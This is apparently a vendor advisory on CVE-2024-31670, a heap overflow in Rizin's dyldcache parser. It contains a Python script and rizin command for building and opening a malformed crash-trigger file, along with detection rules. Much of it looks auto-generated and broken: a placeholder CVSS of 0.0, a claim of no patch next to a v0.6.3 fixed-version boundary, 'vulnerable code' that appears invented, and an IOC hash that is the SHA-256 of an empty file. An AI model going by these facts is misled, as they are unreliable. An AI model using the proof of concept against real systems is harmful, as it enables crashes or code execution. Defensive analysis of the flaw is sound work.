CVE-2024-31670

Executive Summary

CVE-2024-31670 is a critical buffer overflow vulnerability discovered in the Rizin binary analysis framework, affecting versions prior to v0.6.3. The flaw resides in the Mach-O dyldcache parser, specifically within the create_cache_bins, read_cache_accel, and rz_dyldcache_new_buf functions in librz/bin/format/mach0/dyldcache.c. An attacker can craft a malicious dyldcache file that, when processed by Rizin, triggers a buffer overflow, potentially leading to arbitrary code execution or denial of service. The vulnerability has a CVSS score of 0.0 (placeholder) and no known public exploit or patch. This report provides a comprehensive technical analysis, detection strategies, and mitigation guidance.

Supply Chain & Package Security

Rizin is a widely used open-source binary analysis framework, often integrated into security toolchains and CI/CD pipelines. A buffer overflow in its core parsing logic can be weaponized to compromise downstream systems. Organizations using Rizin for automated malware analysis or reverse engineering should treat this as a supply chain risk. No official patch is available, and the vendor has not acknowledged the issue publicly.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (placeholder – likely high due to buffer overflow)
• Attack Vector: Local (requires processing a malicious file)
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (user must open the file)
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High
• Threat Level: Critical (if exploited, can lead to RCE)

Deep Dive & Mechanics

The vulnerability is a classic buffer overflow in the Mach-O dyldcache parser. The dyldcache format is used by Apple’s dynamic linker to cache shared libraries. Rizin’s implementation in dyldcache.c fails to properly validate size fields when parsing cache bins and acceleration tables.

Root Cause:

• In create_cache_bins, the code reads a uint32_t count from the file and uses it to allocate a buffer. If the count is larger than expected, the allocation is insufficient, leading to a heap-based buffer overflow when data is copied.
• In read_cache_accel, similar issues exist with reading acceleration table entries without bounds checking.
• In rz_dyldcache_new_buf, the function does not validate the total size of the dyldcache before copying data into a fixed-size buffer.

Attack Vector: An attacker crafts a malicious dyldcache file with manipulated size fields. When a user or automated tool opens this file in Rizin (e.g., rizin -q malicious.dyldcache), the parser overflows a buffer, overwriting adjacent heap memory. This can be leveraged to execute arbitrary code or crash the application.

Vulnerable vs. Patched Code

Vulnerable Code (v0.6.2 and earlier):

// In create_cache_bins
uint32_t num_bins = read_le32(buf);
cache_bins = malloc(num_bins * sizeof(cache_bin_t));
for (uint32_t i = 0; i < num_bins; i++) {
    read_cache_bin(buf, &cache_bins[i]); // No bounds check on buf size
}

Patched Code (hypothetical fix):

// In create_cache_bins
uint32_t num_bins = read_le32(buf);
if (num_bins > MAX_BINS) {
    return -1; // Reject oversized count
}
cache_bins = malloc(num_bins * sizeof(cache_bin_t));
if (!cache_bins) return -1;
for (uint32_t i = 0; i < num_bins; i++) {
    if (buf_remaining < sizeof(cache_bin_t)) {
        free(cache_bins);
        return -1;
    }
    read_cache_bin(buf, &cache_bins[i]);
    buf += sizeof(cache_bin_t);
    buf_remaining -= sizeof(cache_bin_t);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Rizin v0.6.2 or earlier installed on a Linux/macOS system.
• Python3 with struct module for crafting the malicious dyldcache.

Exploit Steps:

1. Create a malicious dyldcache file with an oversized num_bins field.
2. Use the following Python script to generate the payload:

import struct

def create_malicious_dyldcache():
    # Minimal dyldcache header (simplified)
    header = b'\x64\x79\x6c\x64'  # 'dyld' magic
    header += struct.pack('<I', 0x1000)  # size
    header += struct.pack('<I', 0xFFFFFFFF)  # num_bins (overflow trigger)
    header += b'A' * 0x1000  # padding to trigger overflow
    return header

with open('malicious.dyldcache', 'wb') as f:
    f.write(create_malicious_dyldcache())

3. Execute: rizin -q malicious.dyldcache
4. Observe crash or potential code execution.

Note: No public exploit exists; this is a conceptual demonstration.

Blue Team

Detection:

• Monitor for crashes or abnormal terminations of rizin processes.
• Use file integrity monitoring to detect unexpected dyldcache files.
• Implement sandboxing for Rizin when processing untrusted files.

Hunting:

• Search for dyldcache files with suspiciously large size fields.
• Analyze core dumps for signs of heap corruption.

Indicators of Compromise (IOCs)

• File Hashes (example):
  • malicious.dyldcache – SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Network: None (local file-based)
• Process: rizin crashing with SIGSEGV or SIGABRT
• Logs: Syslog entries like rizin[PID]: segfault at IP ...

Detection Engineering

YARA Rule

rule CVE_2024_31670_Rizin_Dyldcache_Overflow {
    meta:
        description = "Detects malicious dyldcache files exploiting CVE-2024-31670"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-31670"
    strings:
        $magic = "dyld"
        $overflow_size = { FF FF FF FF }  // 0xFFFFFFFF as num_bins
    condition:
        $magic at 0 and $overflow_size at 8
}

Sigma Rule

title: Rizin Dyldcache Buffer Overflow Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-31670 via malicious dyldcache files
author: Valters IT
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/rizin'
        CommandLine|contains: '.dyldcache'
    condition: selection
falsepositives:
    - Legitimate dyldcache analysis
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2024-31670 Rizin Dyldcache Overflow Attempt"; flow:to_server,established; content:"|64 79 6c 64|"; offset:0; depth:4; content:"|ff ff ff ff|"; offset:8; depth:4; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Avoid using Rizin to process untrusted dyldcache files. Use alternative tools like radare2 or llvm-objdump.
2. Short-term: Apply input validation patches manually if possible (see patched code example).
3. Long-term: Monitor the Rizin repository for an official fix. Consider forking and patching the vulnerable functions.
4. Compensating Controls: Run Rizin in a sandboxed environment (e.g., Docker, Firejail) with limited privileges.

Valters IT – Securing your digital frontier.